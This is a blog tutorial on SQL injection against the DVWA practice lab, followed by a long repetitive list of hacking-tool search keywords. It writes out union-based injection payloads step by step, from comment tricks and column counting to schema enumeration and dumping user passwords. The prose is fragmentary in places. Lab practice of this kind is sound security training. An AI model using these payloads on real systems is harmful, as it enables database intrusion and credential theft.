Learning Web Pentesting With DVWA Part 2: SQL Injection
Posted by Sykes
SELECT first_name, sur_name FROM users WHERE user_id = '1';
SELECT first_name, sur_name FROM users WHERE user_id = ''';
'-- -
or
'#
we should get no error. Now our crafted query looks like this:
SELECT first_name, sur_name FROM users WHERE user_id = ''-- -';
SELECT first_name, sur_name FROM users WHERE user_id = ''#';
First of all we will try to determine the number of columns that the query outputs because if we try a query which will output the number of columns greater or smaller than what the original query outputs then our query is going to get an error. So we will first figure out the exact number of columns that the query outputs and we will do that with the help of order by sql statement like this:
' order by 1-- -
SELECT first_name, sur_name FROM users WHERE user_id = '' order by 1-- -';
if we don't get any error message, we will increase the number to 2 like this:
' order by 2-- -
' order by 3-- -
' union select null, version()-- -
We have used null as one column since we need to match the number of columns from the server query which is two. null will act as a dummy column here which will give no output and the second column which in our case here is the version() command will output the database version. Notice the output from the application, nothing is shown for First name since we specified null for it and the maria db version will be displayed in Surname.
Now lets check who the database user is using the user() function of mariadb:
' union select null, user()-- -
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi59DY4MOtmHCOVglgDZ-yXlVl5ZJulHD_EN9ABwC5O7pn5nDJ6-Va0k93z9-QdnbG-9sHLE8MeJH-Di-d1oO_lEuGVc_g_AR3whaYreFx6U5xQN76ghYaFeLzXTVae-x2Dq3_NHvKAss8/s640/userinfo.png)
Now lets get some information about the databases in the database.
Lets determine the names of databases from INFORMATION_SCHEMA.SCHEMATA by entering following input in the User ID field:
' union select null, SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA-- -
Get table names for dvwa database from INFORMATION_SCHEMA.TABLES
' union select null, TABLE_NAME from INFORMATION_SCHEMA.TABLES-- -
' union select null, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users'-- -
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8oZ7xIYtpmzRYITIw0OzCOGFqWPUvjtmNCRpyasIaNzs5kW6iTloj1U8Vb_0BlqmcKgk4D44kQ-lwzUisDDUf_JB58n1-DqezlqzJ-FvlJpLHOExm9rgNuctBvDpbUpxRLQ9XlPzK2rA/s640/columns.png)
We can see the password column in the output now lets get those passwords:
' union select user, password from users-- -
Hope you learned something about SQL injection in this article. See you next time.
References:
1. SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection2. MySQL UNION: https://www.mysqltutorial.org/sql-union-mysql.aspx
3. Chapter 25 INFORMATION_SCHEMA Tables: https://dev.mysql.com/doc/refman/8.0/en/information-schema.html
Related word
- Hacker Tools
- Hack App
- Hack And Tools
- Hacking Tools For Mac
- Hacker Tools Free
- Computer Hacker
- Pentest Tools Website
- Hacker Search Tools
- Hacker Tools Windows
- Pentest Tools Subdomain
- Hack Website Online Tool
- Hacker Tools
- Install Pentest Tools Ubuntu
- Ethical Hacker Tools
- Hacker Search Tools
- Hacking Tools For Windows
- Hack Tools 2019
- How To Hack
- Pentest Tools Subdomain
- Hacker Tools Online
- How To Hack
- Pentest Tools Open Source
- Black Hat Hacker Tools
- Beginner Hacker Tools
- Hacker Tools Hardware
- Pentest Box Tools Download
- Hacker Tools Apk
- Pentest Tools
- Pentest Tools List
- Wifi Hacker Tools For Windows
- Pentest Tools Windows
- Hacker Tools Github
- Pentest Tools
- Hack Tools For Mac
- Hack App
- Pentest Tools Online
- Pentest Tools Windows
- Hacking Tools Hardware
- Pentest Tools Review
- Hacking Tools Mac
- Game Hacking
- Hacking Tools
- Hacking Tools For Pc
- Pentest Tools Kali Linux
- Hacker Tools For Windows
- Android Hack Tools Github
- Best Hacking Tools 2019
- Beginner Hacker Tools
- Pentest Tools Website
- Black Hat Hacker Tools
- Hack Rom Tools
- Wifi Hacker Tools For Windows
- Hacking Tools Windows
- Pentest Box Tools Download
- Hack Tools Download
- Hack Tool Apk No Root
- Hacker Tools Software
- Blackhat Hacker Tools
- Hacker Tools Apk Download
- Hacking Tools For Windows
- Hacker Tools 2020
- Hackers Toolbox
- Hack Tools
- Hacking Tools Name
- Hack Tool Apk No Root
- Hacking Tools Windows 10
- Tools Used For Hacking
- Hacking Tools For Windows Free Download
- Hacking Tools For Windows
- Hacker Tools Windows